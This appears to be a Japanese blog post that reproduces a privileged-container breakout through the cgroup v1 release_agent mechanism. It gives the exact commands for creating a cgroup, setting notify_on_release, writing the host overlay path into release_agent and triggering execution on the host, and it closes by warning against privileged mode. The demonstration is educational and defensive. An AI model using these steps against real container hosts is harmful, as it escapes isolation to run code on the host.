Container Breakout をやってみた

コンテナを突き破れ!!を参考に、コンテナを突き破ってみた。特権を利用した場合の、攻撃がイメージできなかったためとても参考になった。
(動画:https://youtu.be/Il-Z4go-wLg?t=2105)

特権を付与してコンテナを実行する

# docker run --privileged -it ubuntu /bin/bash

コンテナにてcgroupのサブグループを作成する

cgroupはホストと共有するため、ホスト側にも同じサブグループが作成される。

root@313274926e56:/# mkdir /sys/fs/cgroup/rdma/x
root@313274926e56:/# ls /sys/fs/cgroup/rdma/
cgroup.clone_children  cgroup.sane_behavior  release_agent  x   cgroup.procs  notify_on_release  tasks

release agentの有効化

cgroupの機能の1つで、cgroupの管理プロセス(cgroup.procs)が終了すると任意のプログラムが実行される。

root@313274926e56:/# echo 1 > /sys/fs/cgroup/rdma/x/notify_on_release

ホスト側で実行したいプログラムをコンテナに配置する

root@313274926e56:/# cat cmd
#!/bin/sh
echo "cmd from Container" >> /tmp/output
hostname >> /tmp/output

ホスト側で実行したいプログラムのパスを指定する

ホストのUpperdirに実行したいプログラムが存在するため、そのパスを指定する。

root@313274926e56:/# mount | grep overlay
...upperdir=/var/lib/docker/overlay2/f4616a4f89d4acd43b7781e334af46caefbcc3cb954e6f7ebde543055d7cce5e/diff...

root@313274926e56:/# echo "/var/lib/docker/overlay2/f4616a4f89d4acd43b7781e334af46caefbcc3cb954e6f7ebde543055d7cce5e/diff/cmd" > /sys/fs/cgroup/rdma/release_agent

攻撃してみる

以下プログラムを実行することで、release_agentに設定したプログラムが発火する。
ホストにて /tmp/output が出力されていることを確認できた。

root@313274926e56:/# sh -c "echo \$\$ > /sys/fs/cgroup/rdma/x/cgroup.procs"

補足:ホスト側のプロセスIDについて

“echo \$\$”が理解できなかったため調べてみた。これは自分のプロセスIDを表示する。
コンテナにて以下を実行して、

root@313274926e56:/# sh -c "echo \$\$ > /sys/fs/cgroup/rdma/x/cgroup.procs && sleep 300"

ホスト側のプロセスID、cgroup.procsを確認することで、コンテナはホストプロセスの1つであることが理解できた。

# ps afx 
...
150058 pts/0    Ss     0:00  \_ /bin/bash
150631 pts/0    S+     0:00      \_ sh -c echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs && sleep 300
150632 pts/0    S+     0:00          \_ sleep 300
...
# cat /sys/fs/cgroup/rdma/x/cgroup.procs
150631
150632

結論

コンテナプロセスはカーネルの機能により、他のプロセスやホストから隔離したもの。

特権を付与すると、隔離の機能を取り除くため利用するべからず。